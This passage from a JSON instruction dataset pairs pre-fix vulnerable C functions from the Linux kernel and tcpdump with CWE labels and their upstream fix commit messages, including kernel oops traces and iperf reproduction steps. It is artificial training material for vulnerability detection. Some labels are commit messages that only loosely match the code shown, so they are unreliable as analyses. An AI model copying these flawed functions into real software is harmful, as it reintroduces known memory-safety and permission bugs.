&priv->txbd_curr;\n\tstruct net_device_stats *stats = &ndev->stats;\n\t__le32 *info = &priv->txbd[*txbd_curr].info;\n\tdma_addr_t addr;\n\n\tif (skb_padto(skb, ETH_ZLEN))\n\t\treturn NETDEV_TX_OK;\n\n\tlen = max_t(unsigned int, ETH_ZLEN, skb->len);\n\n\tif (unlikely(!arc_emac_tx_avail(priv))) {\n\t\tnetif_stop_queue(ndev);\n\t\tnetdev_err(ndev, \"BUG! Tx Ring full when queue awake!\\n\");\n\t\treturn NETDEV_TX_BUSY;\n\t}\n\n\taddr = dma_map_single(&ndev->dev, (void *)skb->data, len,\n\t\t\t DMA_TO_DEVICE);\n\n\tif (unlikely(dma_mapping_error(&ndev->dev, addr))) {\n\t\tstats->tx_dropped++;\n\t\tstats->tx_errors++;\n\t\tdev_kfree_skb(skb);\n\t\treturn NETDEV_TX_OK;\n\t}\n\tdma_unmap_addr_set(&priv->tx_buff[*txbd_curr], addr, addr);\n\tdma_unmap_len_set(&priv->tx_buff[*txbd_curr], len, len);\n\n\tpriv->tx_buff[*txbd_curr].skb = skb;\n\tpriv->txbd[*txbd_curr].data = cpu_to_le32(addr);\n\n\t/* Make sure pointer to data buffer is set */\n\twmb();\n\n\tskb_tx_timestamp(skb);\n\n\t*info = cpu_to_le32(FOR_EMAC | FIRST_OR_LAST_MASK | len);\n\n\t/* Increment index to point to the next BD */\n\t*txbd_curr = (*txbd_curr + 1) % TX_BD_NUM;\n\n\t/* Ensure that tx_clean() sees the new txbd_curr before\n\t * checking the queue status. This prevents an unneeded wake\n\t * of the queue in tx_clean().\n\t */\n\tsmp_mb();\n\n\tif (!arc_emac_tx_avail(priv)) {\n\t\tnetif_stop_queue(ndev);\n\t\t/* Refresh tx_dirty */\n\t\tsmp_mb();\n\t\tif (arc_emac_tx_avail(priv))\n\t\t\tnetif_start_queue(ndev);\n\t}\n\n\tarc_reg_set(priv, R_STATUS, TXPL_MASK);\n\n\treturn NETDEV_TX_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'net: arc_emac: fix koops caused by sk_buff free\n\nThere is a race between arc_emac_tx() and arc_emac_tx_clean().\nsk_buff got freed by arc_emac_tx_clean() while arc_emac_tx()\nsubmitting sk_buff.\n\nIn order to free sk_buff arc_emac_tx_clean() checks:\n if ((info & FOR_EMAC) || !txbd->data)\n break;\n ...\n dev_kfree_skb_irq(skb);\n\nIf condition false, arc_emac_tx_clean() free sk_buff.\n\nIn order to submit txbd, arc_emac_tx() do:\n priv->tx_buff[*txbd_curr].skb = skb;\n ...\n priv->txbd[*txbd_curr].data = cpu_to_le32(addr);\n ...\n ... <== arc_emac_tx_clean() check condition here\n ... <== (info & FOR_EMAC) is false\n ... <== !txbd->data is false\n ...\n *info = cpu_to_le32(FOR_EMAC | FIRST_OR_LAST_MASK | len);\n\nIn order to reproduce the situation,\nrun device:\n # iperf -s\nrun on host:\n # iperf -t 600 -c \n\n[ 28.396284] ------------[ cut here ]------------\n[ 28.400912] kernel BUG at .../net/core/skbuff.c:1355!\n[ 28.414019] Internal error: Oops - BUG: 0 [#1] SMP ARM\n[ 28.419150] Modules linked in:\n[ 28.422219] CPU: 0 PID: 0 Comm: swapper/0 Tainted: G B 4.4.0+ #120\n[ 28.429516] Hardware name: Rockchip (Device Tree)\n[ 28.434216] task: c0665070 ti: c0660000 task.ti: c0660000\n[ 28.439622] PC is at skb_put+0x10/0x54\n[ 28.443381] LR is at arc_emac_poll+0x260/0x474\n[ 28.447821] pc : [] lr : [] psr: a0070113\n[ 28.447821] sp : c0661e58 ip : eea68502 fp : ef377000\n[ 28.459280] r10: 0000012c r9 : f08b2000 r8 : eeb57100\n[ 28.464498] r7 : 00000000 r6 : ef376594 r5 : 00000077 r4 : ef376000\n[ 28.471015] r3 : 0030488b r2 : ef13e880 r1 : 000005ee r0 : eeb57100\n[ 28.477534] Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none\n[ 28.484658] Control: 10c5387d Table: 8eaf004a DAC: 00000051\n[ 28.490396] Process swapper/0 (pid: 0, stack limit = 0xc0660210)\n[ 28.496393] Stack: (0xc0661e58 to 0xc0662000)\n[ 28.500745] 1e40: 00000002 00000000\n[ 28.508913] 1e60: 00000000 ef376520 00000028 f08b23b8 00000000 ef376520 ef7b6900 c028fc64\n[ 28.517082] 1e80: 2f158000 c0661ea8 c0661eb0 0000012c c065e900 c03bdeac ffff95e9 c0662100\n[ 28.525250] 1ea0: c0663924 00000028 c0661ea8 c0661ea8 c0661eb0 c0661eb0 0000001e c0660000\n[ 28.533417] 1ec0: 40000003 00000008 c0695a00 0000000a c066208c 00000100 c0661ee0 c0027410\n[ 28.541584] 1ee0: ef0fb700 2f158000 00200000 ffff95e8 00000004 c0662100 c0662080 00000003\n[ 28.549751] 1f00: 00000000 00000000 00000000 c065b45c 0000001e ef005000 c0647a30 00000000\n[ 28.557919] 1f20: 00000000 c0027798 00000000 c005cf40 f0802100 c0662ffc c0661f60 f0803100\n[ 28.566088] 1f40: c0661fb8 c00093bc c000ffb4 60070013 ffffffff c0661f94 c0661fb8 c00137d4\n[ 28.574267] 1f60: 00000001 00000000 00000000 c001ffa0 00000000 c0660000 00000000 c065a364\n[ 28.582441] 1f80: c0661fb8 c0647a30 00000000 00000000 00000000 c0661fb0 c000ffb0 c000ffb4\n[ 28.590608] 1fa0: 60070013 ffffffff 00000051 00000000 00000000 c005496c c0662400 c061bc40\n[ 28.598776] 1fc0: ffffffff ffffffff 00000000 c061b680 00000000 c0647a30 00000000 c0695294\n[ 28.606943] 1fe0: c0662488 c0647a2c c066619c 6000406a 413fc090 6000807c 00000000 00000000\n[ 28.615127] [] (skb_put) from [] (0xef376520)\n[ 28.621218] Code: e5902054 e590c090 e3520000 0a000000 (e7f001f2)\n[ 28.627307] ---[ end trace 4824734e2243fdb6 ]---\n\n[ 34.377068] Internal error: Oops: 17 [#1] SMP ARM\n[ 34.382854] Modules linked in:\n[ 34.385947] CPU: 0 PID: 3 Comm: ksoftirqd/0 Not tainted 4.4.0+ #120\n[ 34.392219] Hardware name: Rockchip (Device Tree)\n[ 34.396937] task: ef02d040 ti: ef05c000 task.ti: ef05c000\n[ 34.402376] PC is at __dev_kfree_skb_irq+0x4/0x80\n[ 34.407121] LR is at arc_emac_poll+0x130/0x474\n[ 34.411583] pc : [] lr : [] psr: 60030013\n[ 34.411583] sp : ef05de68 ip : 0008e83c fp : ef377000\n[ 34.423062] r10: c001bec4 r9 : 00000000 r8 : f08b24c8\n[ 34.428296] r7 : f08b2400 r6 : 00000075 r5 : 00000019 r4 : ef376000\n[ 34.434827] r3 : 00060000 r2 : 00000042 r1 : 00000001 r0 : 00000000\n[ 34.441365] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none\n[ 34.448507] Control: 10c5387d Table: 8f25c04a DAC: 00000051\n[ 34.454262] Process ksoftirqd/0 (pid: 3, stack limit = 0xef05c210)\n[ 34.460449] Stack: (0xef05de68 to 0xef05e000)\n[ 34.464827] de60: ef376000 c028fd94 00000000 c0669480 c0669480 ef376520\n[ 34.473022] de80: 00000028 00000001 00002ae4 ef376520 ef7b6900 c028fc64 2f158000 ef05dec0\n[ 34.481215] dea0: ef05dec8 0000012c c065e900 c03bdeac ffff983f c0662100 c0663924 00000028\n[ 34.489409] dec0: ef05dec0 ef05dec0 ef05dec8 ef05dec8 ef7b6000 ef05c000 40000003 00000008\n[ 34.497600] dee0: c0695a00 0000000a c066208c 00000100 ef05def8 c0027410 ef7b6000 40000000\n[ 34.505795] df00: 04208040 ffff983e 00000004 c0662100 c0662080 00000003 ef05c000 ef027340\n[ 34.513985] df20: ef05c000 c0666c2c 00000000 00000001 00000002 00000000 00000000 c0027568\n[ 34.522176] df40: ef027340 c003ef48 ef027300 00000000 ef027340 c003edd4 00000000 00000000\n[ 34.530367] df60: 00000000 c003c37c ffffff7f 00000001 00000000 ef027340 00000000 00030003\n[ 34.538559] df80: ef05df80 ef05df80 00000000 00000000 ef05df90 ef05df90 ef05dfac ef027300\n[ 34.546750] dfa0: c003c2a4 00000000 00000000 c000f578 00000000 00000000 00000000 00000000\n[ 34.554939] dfc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000\n[ 34.563129] dfe0: 00000000 00000000 00000000 00000000 00000013 00000000 ffffffff dfff7fff\n[ 34.571360] [] (__dev_kfree_skb_irq) from [] (arc_emac_poll+0x130/0x474)\n[ 34.579840] [] (arc_emac_poll) from [] (net_rx_action+0xdc/0x28c)\n[ 34.587712] [] (net_rx_action) from [] (__do_softirq+0xcc/0x1f8)\n[ 34.595482] [] (__do_softirq) from [] (run_ksoftirqd+0x2c/0x50)\n[ 34.603168] [] (run_ksoftirqd) from [] (smpboot_thread_fn+0x174/0x18c)\n[ 34.611466] [] (smpboot_thread_fn) from [] (kthread+0xd8/0xec)\n[ 34.619075] [] (kthread) from [] (ret_from_fork+0x14/0x3c)\n[ 34.626317] Code: e8bd8010 e3a00000 e12fff1e e92d4010 (e59030a4)\n[ 34.632572] ---[ end trace cca5a3d86a82249a ]---\n\nSigned-off-by: Alexander Kochetkov \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: base_sock_create(struct net *net, struct socket *sock, int protocol, int kern)\n{\n\tstruct sock *sk;\n\n\tif (sock->type != SOCK_RAW)\n\t\treturn -ESOCKTNOSUPPORT;\n\n\tsk = sk_alloc(net, PF_ISDN, GFP_KERNEL, &mISDN_proto, kern);\n\tif (!sk)\n\t\treturn -ENOMEM;\n\n\tsock_init_data(sock, sk);\n\tsock->ops = &base_sock_ops;\n\tsock->state = SS_UNCONNECTED;\n\tsock_reset_flag(sk, SOCK_ZAPPED);\n\tsk->sk_protocol = protocol;\n\tsk->sk_state = MISDN_OPEN;\n\tmISDN_sock_link(&base_sockets, sk);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-862'], 'message': 'mISDN: enforce CAP_NET_RAW for raw sockets\n\nWhen creating a raw AF_ISDN socket, CAP_NET_RAW needs to be checked\nfirst.\n\nSigned-off-by: Ori Nimron \nSigned-off-by: Greg Kroah-Hartman \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int hclge_shaper_para_calc(u32 ir, u8 shaper_level,\n\t\t\t\t u8 *ir_b, u8 *ir_u, u8 *ir_s)\n{\n#define DIVISOR_CLK\t\t(1000 * 8)\n#define DIVISOR_IR_B_126\t(126 * DIVISOR_CLK)\n\n\tconst u16 tick_array[HCLGE_SHAPER_LVL_CNT] = {\n\t\t6 * 256, /* Prioriy level */\n\t\t6 * 32, /* Prioriy group level */\n\t\t6 * 8, /* Port level */\n\t\t6 * 256 /* Qset level */\n\t};\n\tu8 ir_u_calc = 0;\n\tu8 ir_s_calc = 0;\n\tu32 ir_calc;\n\tu32 tick;\n\n\t/* Calc tick */\n\tif (shaper_level >= HCLGE_SHAPER_LVL_CNT)\n\t\treturn -EINVAL;\n\n\ttick = tick_array[shaper_level];\n\n\t/**\n\t * Calc the speed if ir_b = 126, ir_u = 0 and ir_s = 0\n\t * the formula is changed to:\n\t *\t\t126 * 1 * 8\n\t * ir_calc = ---------------- * 1000\n\t *\t\ttick * 1\n\t */\n\tir_calc = (DIVISOR_IR_B_126 + (tick >> 1) - 1) / tick;\n\n\tif (ir_calc == ir) {\n\t\t*ir_b = 126;\n\t\t*ir_u = 0;\n\t\t*ir_s = 0;\n\n\t\treturn 0;\n\t} else if (ir_calc > ir) {\n\t\t/* Increasing the denominator to select ir_s value */\n\t\twhile (ir_calc > ir) {\n\t\t\tir_s_calc++;\n\t\t\tir_calc = DIVISOR_IR_B_126 / (tick * (1 << ir_s_calc));\n\t\t}\n\n\t\tif (ir_calc == ir)\n\t\t\t*ir_b = 126;\n\t\telse\n\t\t\t*ir_b = (ir * tick * (1 << ir_s_calc) +\n\t\t\t\t (DIVISOR_CLK >> 1)) / DIVISOR_CLK;\n\t} else {\n\t\t/* Increasing the numerator to select ir_u value */\n\t\tu32 numerator;\n\n\t\twhile (ir_calc < ir) {\n\t\t\tir_u_calc++;\n\t\t\tnumerator = DIVISOR_IR_B_126 * (1 << ir_u_calc);\n\t\t\tir_calc = (numerator + (tick >> 1)) / tick;\n\t\t}\n\n\t\tif (ir_calc == ir) {\n\t\t\t*ir_b = 126;\n\t\t} else {\n\t\t\tu32 denominator = (DIVISOR_CLK * (1 << --ir_u_calc));\n\t\t\t*ir_b = (ir * tick + (denominator >> 1)) / denominator;\n\t\t}\n\t}\n\n\t*ir_u = ir_u_calc;\n\t*ir_s = ir_s_calc;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'net: hns3: add some error checking in hclge_tm module\n\nWhen hdev->tx_sch_mode is HCLGE_FLAG_VNET_BASE_SCH_MODE, the\nhclge_tm_schd_mode_vnet_base_cfg calls hclge_tm_pri_schd_mode_cfg\nwith vport->vport_id as pri_id, which is used as index for\nhdev->tm_info.tc_info, it will cause out of bound access issue\nif vport_id is equal to or larger than HNAE3_MAX_TC.\n\nAlso hardware only support maximum speed of HCLGE_ETHER_MAX_RATE.\n\nSo this patch adds two checks for above cases.\n\nFixes: 848440544b41 (\"net: hns3: Add support of TX Scheduler & Shaper to HNS3 driver\")\nSigned-off-by: Yunsheng Lin \nSigned-off-by: Peng Li \nSigned-off-by: Huazhong Tan \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int restore_fp(struct task_struct *tsk)\n{\n\tif (tsk->thread.load_fp || tm_active_with_fp(tsk)) {\n\t\tload_fp_state(¤t->thread.fp_state);\n\t\tcurrent->thread.load_fp++;\n\t\treturn 1;\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-662'], 'message': 'powerpc/tm: Fix restoring FP/VMX facility incorrectly on interrupts\n\nWhen in userspace and MSR FP=0 the hardware FP state is unrelated to\nthe current process. This is extended for transactions where if tbegin\nis run with FP=0, the hardware checkpoint FP state will also be\nunrelated to the current process. Due to this, we need to ensure this\nhardware checkpoint is updated with the correct state before we enable\nFP for this process.\n\nUnfortunately we get this wrong when returning to a process from a\nhardware interrupt. A process that starts a transaction with FP=0 can\ntake an interrupt. When the kernel returns back to that process, we\nchange to FP=1 but with hardware checkpoint FP state not updated. If\nthis transaction is then rolled back, the FP registers now contain the\nwrong state.\n\nThe process looks like this:\n Userspace: Kernel\n\n Start userspace\n with MSR FP=0 TM=1\n < -----\n ...\n tbegin\n bne\n Hardware interrupt\n ---- >\n \n ....\n ret_from_except\n restore_math()\n\t\t\t\t /* sees FP=0 */\n restore_fp()\n tm_active_with_fp()\n\t\t\t\t\t /* sees FP=1 (Incorrect) */\n load_fp_state()\n FP = 0 -> 1\n < -----\n Return to userspace\n with MSR TM=1 FP=1\n with junk in the FP TM checkpoint\n TM rollback\n reads FP junk\n\nWhen returning from the hardware exception, tm_active_with_fp() is\nincorrectly making restore_fp() call load_fp_state() which is setting\nFP=1.\n\nThe fix is to remove tm_active_with_fp().\n\ntm_active_with_fp() is attempting to handle the case where FP state\nhas been changed inside a transaction. In this case the checkpointed\nand transactional FP state is different and hence we must restore the\nFP state (ie. we can't do lazy FP restore inside a transaction that's\nused FP). It's safe to remove tm_active_with_fp() as this case is\nhandled by restore_tm_state(). restore_tm_state() detects if FP has\nbeen using inside a transaction and will set load_fp and call\nrestore_math() to ensure the FP state (checkpoint and transaction) is\nrestored.\n\nThis is a data integrity problem for the current process as the FP\nregisters are corrupted. It's also a security problem as the FP\nregisters from one process may be leaked to another.\n\nSimilarly for VMX.\n\nA simple testcase to replicate this will be posted to\ntools/testing/selftests/powerpc/tm/tm-poison.c\n\nThis fixes CVE-2019-15031.\n\nFixes: a7771176b439 (\"powerpc: Don't enable FP/Altivec if not checkpointed\")\nCc: stable@vger.kernel.org # 4.15+\nSigned-off-by: Gustavo Romero \nSigned-off-by: Michael Neuling \nSigned-off-by: Michael Ellerman \nLink: https://lore.kernel.org/r/20190904045529.23002-2-gromero@linux.vnet.ibm.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: icmp6_rrenum_print(netdissect_options *ndo, const u_char *bp, const u_char *ep)\n{\n\tconst struct icmp6_router_renum *rr6;\n\tconst char *cp;\n\tconst struct rr_pco_match *match;\n\tconst struct rr_pco_use *use;\n\tchar hbuf[NI_MAXHOST];\n\tint n;\n\n\tif (ep < bp)\n\t\treturn;\n\trr6 = (const struct icmp6_router_renum *)bp;\n\tcp = (const char *)(rr6 + 1);\n\n\tND_TCHECK(rr6->rr_reserved);\n\tswitch (rr6->rr_code) {\n\tcase ICMP6_ROUTER_RENUMBERING_COMMAND:\n\t\tND_PRINT((ndo,\"router renum: command\"));\n\t\tbreak;\n\tcase ICMP6_ROUTER_RENUMBERING_RESULT:\n\t\tND_PRINT((ndo,\"router renum: result\"));\n\t\tbreak;\n\tcase ICMP6_ROUTER_RENUMBERING_SEQNUM_RESET:\n\t\tND_PRINT((ndo,\"router renum: sequence number reset\"));\n\t\tbreak;\n\tdefault:\n\t\tND_PRINT((ndo,\"router renum: code-#%d\", rr6->rr_code));\n\t\tbreak;\n\t}\n\n ND_PRINT((ndo,\", seq=%u\", EXTRACT_32BITS(&rr6->rr_seqnum)));\n\n\tif (ndo->ndo_vflag) {\n#define F(x, y)\t((rr6->rr_flags) & (x) ? (y) : \"\")\n\t\tND_PRINT((ndo,\"[\"));\t/*]*/\n\t\tif (rr6->rr_flags) {\n\t\t\tND_PRINT((ndo,\"%s%s%s%s%s,\", F(ICMP6_RR_FLAGS_TEST, \"T\"),\n F(ICMP6_RR_FLAGS_REQRESULT, \"R\"),\n F(ICMP6_RR_FLAGS_FORCEAPPLY, \"A\"),\n F(ICMP6_RR_FLAGS_SPECSITE, \"S\"),\n F(ICMP6_RR_FLAGS_PREVDONE, \"P\")));\n\t\t}\n ND_PRINT((ndo,\"seg=%u,\", rr6->rr_segnum));\n ND_PRINT((ndo,\"maxdelay=%u\", EXTRACT_16BITS(&rr6->rr_maxdelay)));\n\t\tif (rr6->rr_reserved)\n\t\t\tND_PRINT((ndo,\"rsvd=0x%x\", EXTRACT_32BITS(&rr6->rr_reserved)));\n\t\t/*[*/\n\t\tND_PRINT((ndo,\"]\"));\n#undef F\n\t}\n\n\tif (rr6->rr_code == ICMP6_ROUTER_RENUMBERING_COMMAND) {\n\t\tmatch = (const struct rr_pco_match *)cp;\n\t\tcp = (const char *)(match + 1);\n\n\t\tND_TCHECK(match->rpm_prefix);\n\n\t\tif (ndo->ndo_vflag > 1)\n\t\t\tND_PRINT((ndo,\"\\n\\t\"));\n\t\telse\n\t\t\tND_PRINT((ndo,\" \"));\n\t\tND_PRINT((ndo,\"match(\"));\t/*)*/\n\t\tswitch (match->rpm_code) {\n\t\tcase RPM_PCO_ADD:\tND_PRINT((ndo,\"add\")); break;\n\t\tcase RPM_PCO_CHANGE:\tND_PRINT((ndo,\"change\")); break;\n\t\tcase RPM_PCO_SETGLOBAL:\tND_PRINT((ndo,\"setglobal\")); break;\n\t\tdefault:\t\tND_PRINT((ndo,\"#%u\", match->rpm_code)); break;\n\t\t}\n\n\t\tif (ndo->ndo_vflag) {\n\t\t\tND_PRINT((ndo,\",ord=%u\", match->rpm_ordinal));\n\t\t\tND_PRINT((ndo,\",min=%u\", match->rpm_minlen));\n\t\t\tND_PRINT((ndo,\",max=%u\", match->rpm_maxlen));\n\t\t}\n\t\tif (addrtostr6(&match->rpm_prefix, hbuf, sizeof(hbuf)))\n\t\t\tND_PRINT((ndo,\",%s/%u\", hbuf, match->rpm_matchlen));\n\t\telse\n\t\t\tND_PRINT((ndo,\",?/%u\", match->rpm_matchlen));\n\t\t/*(*/\n\t\tND_PRINT((ndo,\")\"));\n\n\t\tn = match->rpm_len - 3;\n\t\tif (n % 4)\n\t\t\tgoto trunc;\n\t\tn /= 4;\n\t\twhile (n-- > 0) {\n\t\t\tuse = (const struct rr_pco_use *)cp;\n\t\t\tcp = (const char *)(use + 1);\n\n\t\t\tND_TCHECK(use->rpu_prefix);\n\n\t\t\tif (ndo->ndo_vflag > 1)\n\t\t\t\tND_PRINT((ndo,\"\\n\\t\"));\n\t\t\telse\n\t\t\t\tND_PRINT((ndo,\" \"));\n\t\t\tND_PRINT((ndo,\"use(\"));\t/*)*/\n\t\t\tif (use->rpu_flags) {\n#define F(x, y)\t((use->rpu_flags) & (x) ? (y) : \"\")\n\t\t\t\tND_PRINT((ndo,\"%s%s,\",\n F(ICMP6_RR_PCOUSE_FLAGS_DECRVLTIME, \"V\"),\n F(ICMP6_RR_PCOUSE_FLAGS_DECRPLTIME, \"P\")));\n#undef F\n\t\t\t}\n\t\t\tif (ndo->ndo_vflag) {\n\t\t\t\tND_PRINT((ndo,\"mask=0x%x,\", use->rpu_ramask));\n\t\t\t\tND_PRINT((ndo,\"raflags=0x%x,\", use->rpu_raflags));\n\t\t\t\tif (~use->rpu_vltime == 0)\n\t\t\t\t\tND_PRINT((ndo,\"vltime=infty,\"));\n\t\t\t\telse\n\t\t\t\t\tND_PRINT((ndo,\"vltime=%u,\",\n EXTRACT_32BITS(&use->rpu_vltime)));\n\t\t\t\tif (~use->rpu_pltime == 0)\n\t\t\t\t\tND_PRINT((ndo,\"pltime=infty,\"));\n\t\t\t\telse\n\t\t\t\t\tND_PRINT((ndo,\"pltime=%u,\",\n EXTRACT_32BITS(&use->rpu_pltime)));\n\t\t\t}\n\t\t\tif (addrtostr6(&use->rpu_prefix, hbuf, sizeof(hbuf)))\n\t\t\t\tND_PRINT((ndo,\"%s/%u/%u\", hbuf, use->rpu_uselen,\n use->rpu_keeplen));\n\t\t\telse\n\t\t\t\tND_PRINT((ndo,\"?/%u/%u\", use->rpu_uselen,\n use->rpu_keeplen));\n\t\t\t/*(*/\n ND_PRINT((ndo,\")\"));\n\t\t}\n\t}\n\n\treturn;\n\ntrunc:\n\tND_PRINT((ndo,\"[|icmp6]\"));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': '(for 4.9.3) CVE-2018-14882/ICMP6 RPL: Add a missing bounds check\n\nMoreover:\nAdd and use *_tstr[] strings.\nUpdate four tests outputs accordingly.\nFix a space.\n\nWang Junjie of 360 ESG Codesafe Team had independently identified this\nvulnerability in 2018 by means of fuzzing and provided the packet capture\nfile for the test.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ikev1_n_print(netdissect_options *ndo, u_char tpay _U_,\n\t const struct isakmp_gen *ext, u_int item_len,\n\t const u_char *ep, uint32_t phase _U_, uint32_t doi0 _U_,\n\t uint32_t proto0 _U_, int depth _U_)\n{\n\tconst struct ikev1_pl_n *p;\n\tstruct ikev1_pl_n n;\n\tconst u_char *cp;\n\tconst u_char *ep2;\n\tuint32_t doi;\n\tuint32_t proto;\n\tstatic const char *notify_error_str[] = {\n\t\tNULL,\t\t\t\t\"INVALID-PAYLOAD-TYPE\",\n\t\t\"DOI-NOT-SUPPORTED\",\t\t\"SITUATION-NOT-SUPPORTED\",\n\t\t\"INVALID-COOKIE\",\t\t\"INVALID-MAJOR-VERSION\",\n\t\t\"INVALID-MINOR-VERSION\",\t\"INVALID-EXCHANGE-TYPE\",\n\t\t\"INVALID-FLAGS\",\t\t\"INVALID-MESSAGE-ID\",\n\t\t\"INVALID-PROTOCOL-ID\",\t\t\"INVALID-SPI\",\n\t\t\"INVALID-TRANSFORM-ID\",\t\t\"ATTRIBUTES-NOT-SUPPORTED\",\n\t\t\"NO-PROPOSAL-CHOSEN\",\t\t\"BAD-PROPOSAL-SYNTAX\",\n\t\t\"PAYLOAD-MALFORMED\",\t\t\"INVALID-KEY-INFORMATION\",\n\t\t\"INVALID-ID-INFORMATION\",\t\"INVALID-CERT-ENCODING\",\n\t\t\"INVALID-CERTIFICATE\",\t\t\"CERT-TYPE-UNSUPPORTED\",\n\t\t\"INVALID-CERT-AUTHORITY\",\t\"INVALID-HASH-INFORMATION\",\n\t\t\"AUTHENTICATION-FAILED\",\t\"INVALID-SIGNATURE\",\n\t\t\"ADDRESS-NOTIFICATION\",\t\t\"NOTIFY-SA-LIFETIME\",\n\t\t\"CERTIFICATE-UNAVAILABLE\",\t\"UNSUPPORTED-EXCHANGE-TYPE\",\n\t\t\"UNEQUAL-PAYLOAD-LENGTHS\",\n\t};\n\tstatic const char *ipsec_notify_error_str[] = {\n\t\t\"RESERVED\",\n\t};\n\tstatic const char *notify_status_str[] = {\n\t\t\"CONNECTED\",\n\t};\n\tstatic const char *ipsec_notify_status_str[] = {\n\t\t\"RESPONDER-LIFETIME\",\t\t\"REPLAY-STATUS\",\n\t\t\"INITIAL-CONTACT\",\n\t};\n/* NOTE: these macro must be called with x in proper range */\n\n/* 0 - 8191 */\n#define NOTIFY_ERROR_STR(x) \\\n\tSTR_OR_ID((x), notify_error_str)\n\n/* 8192 - 16383 */\n#define IPSEC_NOTIFY_ERROR_STR(x) \\\n\tSTR_OR_ID((u_int)((x) - 8192), ipsec_notify_error_str)\n\n/* 16384 - 24575 */\n#define NOTIFY_STATUS_STR(x) \\\n\tSTR_OR_ID((u_int)((x) - 16384), notify_status_str)\n\n/* 24576 - 32767 */\n#define IPSEC_NOTIFY_STATUS_STR(x) \\\n\tSTR_OR_ID((u_int)((x) - 24576), ipsec_notify_status_str)\n\n\tND_PRINT((ndo,\"%s:\", NPSTR(ISAKMP_NPTYPE_N)));\n\n\tp = (const struct ikev1_pl_n *)ext;\n\tND_TCHECK(*p);\n\tUNALIGNED_MEMCPY(&n, ext, sizeof(n));\n\tdoi = ntohl(n.doi);\n\tproto = n.prot_id;\n\tif (doi != 1) {\n\t\tND_PRINT((ndo,\" doi=%d\", doi));\n\t\tND_PRINT((ndo,\" proto=%d\", proto));\n\t\tif (ntohs(n.type) < 8192)\n\t\t\tND_PRINT((ndo,\" type=%s\", NOTIFY_ERROR_STR(ntohs(n.type))));\n\t\telse if (ntohs(n.type) < 16384)\n\t\t\tND_PRINT((ndo,\" type=%s\", numstr(ntohs(n.type))));\n\t\telse if (ntohs(n.type) < 24576)\n\t\t\tND_PRINT((ndo,\" type=%s\", NOTIFY_STATUS_STR(ntohs(n.type))));\n\t\telse\n\t\t\tND_PRINT((ndo,\" type=%s\", numstr(ntohs(n.type))));\n\t\tif (n.spi_size) {\n\t\t\tND_PRINT((ndo,\" spi=\"));\n\t\t\tif (!rawprint(ndo, (const uint8_t *)(p + 1), n.spi_size))\n\t\t\t\tgoto trunc;\n\t\t}\n\t\treturn (const u_char *)(p + 1) + n.spi_size;\n\t}\n\n\tND_PRINT((ndo,\" doi=ipsec\"));\n\tND_PRINT((ndo,\" proto=%s\", PROTOIDSTR(proto)));\n\tif (ntohs(n.type) < 8192)\n\t\tND_PRINT((ndo,\" type=%s\", NOTIFY_ERROR_STR(ntohs(n.type))));\n\telse if (ntohs(n.type) < 16384)\n\t\tND_PRINT((ndo,\" type=%s\", IPSEC_NOTIFY_ERROR_STR(ntohs(n.type))));\n\telse if (ntohs(n.type) < 24576)\n\t\tND_PRINT((ndo,\" type=%s\", NOTIFY_STATUS_STR(ntohs(n.type))));\n\telse if (ntohs(n.type) < 32768)\n\t\tND_PRINT((ndo,\" type=%s\", IPSEC_NOTIFY_STATUS_STR(ntohs(n.type))));\n\telse\n\t\tND_PRINT((ndo,\" type=%s\", numstr(ntohs(n.type))));\n\tif (n.spi_size) {\n\t\tND_PRINT((ndo,\" spi=\"));\n\t\tif (!rawprint(ndo, (const uint8_t *)(p + 1), n.spi_size))\n\t\t\tgoto trunc;\n\t}\n\n\tcp = (const u_char *)(p + 1) + n.spi_size;\n\tep2 = (const u_char *)p + item_len;\n\n\tif (cp < ep) {\n\t\tswitch (ntohs(n.type)) {\n\t\tcase IPSECDOI_NTYPE_RESPONDER_LIFETIME:\n\t\t {\n\t\t\tconst struct attrmap *map = oakley_t_map;\n\t\t\tsize_t nmap = sizeof(oakley_t_map)/sizeof(oakley_t_map[0]);\n\t\t\tND_PRINT((ndo,\" attrs=(\"));\n\t\t\twhile (cp < ep && cp < ep2) {\n\t\t\t\tcp = ikev1_attrmap_print(ndo, cp, ep2, map, nmap);\n\t\t\t\tif (cp == NULL) {\n\t\t\t\t\tND_PRINT((ndo,\")\"));\n\t\t\t\t\tgoto trunc;\n\t\t\t\t}\n\t\t\t}\n\t\t\tND_PRINT((ndo,\")\"));\n\t\t\tbreak;\n\t\t }\n\t\tcase IPSECDOI_NTYPE_REPLAY_STATUS:\n\t\t\tND_PRINT((ndo,\" status=(\"));\n\t\t\tND_PRINT((ndo,\"replay detection %sabled\",\n\t\t\t\t EXTRACT_32BITS(cp) ? \"en\" 